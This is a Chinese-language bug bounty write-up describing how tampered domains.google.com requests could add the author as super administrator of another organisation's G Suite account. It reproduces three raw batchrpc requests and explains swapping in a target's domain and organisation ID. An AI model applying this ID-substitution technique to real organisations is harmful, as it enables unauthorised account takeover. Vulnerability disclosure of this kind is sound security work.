成为他人G Suite组织超级管理员并接管该组织
大家好!好久没在这里发帖了 :)
正如大多数人所知,我计划撰写多年来通过微软漏洞赏金计划完成的大量研究报告。仍在思考最佳的撰写方式和报告选择。但在此期间,我将分享一些在谷歌平台上的研究成果。
微软和谷歌是我多年来主要参与的两个赏金计划,谷歌的计划也带来了一些丰硕的研究成果 :)
因此,今天我将介绍如何将自己添加为他人G Suite账户的超级管理员。
概念验证
对于那些不了解的人,G Suite是谷歌为组织和教育机构等提供的一套产品。它类似于微软的O365。在G Suite中,组织的主要管理员是超级管理员。顾名思义,他们拥有对一切事务的超级管理员权限。他们可以创建群组、管理用户、更改用户密码、管理所有内容。重要的是,一个组织中不应有太多超级管理员,因为超级管理员账户越多,账户被入侵的风险就越高。
但如果你能在任何人的G Suite组织中创建超级管理员账户呢?如果你能将自己添加到任何G Suite组织并成为超级管理员呢?
这就是我们探索的开始。
谷歌有一个名为domains.google.com的功能。它只是一个由谷歌托管和运营的域名注册商。在上面有一个功能,允许你创建G Suite订阅,并可以在domains.google.com内进行管理。因此,通过domains.google.com创建G Suite订阅后,就可以通过该平台进行管理。你可以管理用户、添加超级管理员、管理付款方式等。
我相信你现在应该知道这个问题的发展方向了 ;)
通过domains.google.com将用户添加到G Suite组织时,会启动一个流程并运行多个请求。其工作方式是:通过domains.google.com将用户添加为管理员,发送添加用户的请求,然后domains.google.com支付门户打开,为你添加的这个新用户付款。如果你检查这些请求并放入正确的ID,这将允许你将任何管理员添加到任何G Suite组织。
因此,在你的domains.google.com域名上添加管理员到G Suite账户时,会运行3个请求。
第一个请求是:
POST /batchrpc HTTP/1.1
Host: domains.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":72,\"2\":{},\"74\":{\"1\":\"5896212\",\"2\":\"testdomain4534.com\",\"3\":[{\"2\":{\"1\":\"testdomain4534.com\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2}}],\"4\":1}}}","xsrf":""}
第二个请求是:
POST /batchrpc HTTP/1.1
Host: domains.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":38,\"2\":{},\"40\":{\"1\":{\"1\":\"3703203\",\"3\":[{\"1\":6,\"7\":{\"1\":\"testdomain4534.com\",\"4\":2,\"6\":{\"1\":\"testdomain4534.com\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2},\"13\":\"5896212\"}}],\"5\":\"en-US\"},\"2\":\"USD\"}}}","xsrf":""}
第三个请求是:
POST /batchrpc HTTP/1.1
Host: domains.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":11,\"2\":{},\"13\":{\"1\":{\"1\":\"3703203\",\"3\":[{\"1\":6,\"7\":{\"1\":\"testdomain4534.com\",\"2\":{\"1\":\"USD\",\"2\":\"0\"},\"4\":2,\"6\":{\"1\":\"testdomain4534.com\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2},\"8\":{\"1\":\"USD\",\"2\":\"10000000\"},\"9\":{\"1\":{\"1\":\"USD\",\"2\":\"5000000\"},\"2\":{\"1\":\"USD\",\"2\":\"0\"},\"3\":0},\"13\":\"5896212\"},\"8\":{\"2\":{}}}],\"5\":\"en-US\"},\"2\":\"USD\",\"4\":1,\"9\":\"US\",\"10\":0}}}","xsrf":""}
如你所见,这3个请求将名为1337baby的用户添加到testdomain4534.com的G Suite组织中。
在概念验证中,我们正在向我没有访问权限的amazingpotato G Suite组织添加用户。
要做到这一点需要两样东西。
首先,你需要G Suite组织的域名,即amazingpotato.org。
然后是你目标的G Suite组织的ID,在这种情况下是25879957。
因此,为了做到这一点,只需获取上面链接的请求,首先将域名testdomain4534.com替换为amazingpotato.org作为你的域名。
用户ID部分可能比较棘手。基本上,在请求中,某个区域要么包含域名/G Suite所有者的用户ID,要么包含实际进行购买的用户ID。
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":72,\"2\":{},\"74\":{\"1\":\"5896212\",\"2\":\"testdomain4534.com\",\"3\":[{\"2\":{\"1\":\"testdomain4534.com\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2}}],\"4\":1}}}","xsrf":"ACJTu_66_XziDuNee2rpFECvfcBn_3mYWg:1526402883203"}
例如,在这个部分中,这个ID 5895212也可以替换为你目标的其他G Suite组织ID,因此请求将如下所示:
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":72,\"2\":{},\"74\":{\"1\":\"25879957\",\"2\":\"amazingpotato.org\",\"3\":[{\"2\":{\"1\":\"amazingpotato.org\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2}}],\"4\":1}}}","xsrf":"ACJTu_66_XziDuNee2rpFECvfcBn_3mYWg:1526402883203"}
请记住,这只是第一个请求。
你需要替换所有3个请求才能使其工作。
因此,上面提到的其他2个请求(第二个和第三个请求),你也需要替换并为它们放入正确的信息。
放入正确的ID后,会弹出一个提示,要求为amazingpotato.org购买此用户。
购买后,超级管理员将添加到他们的组织中,账户密码将发送到你的电子邮件。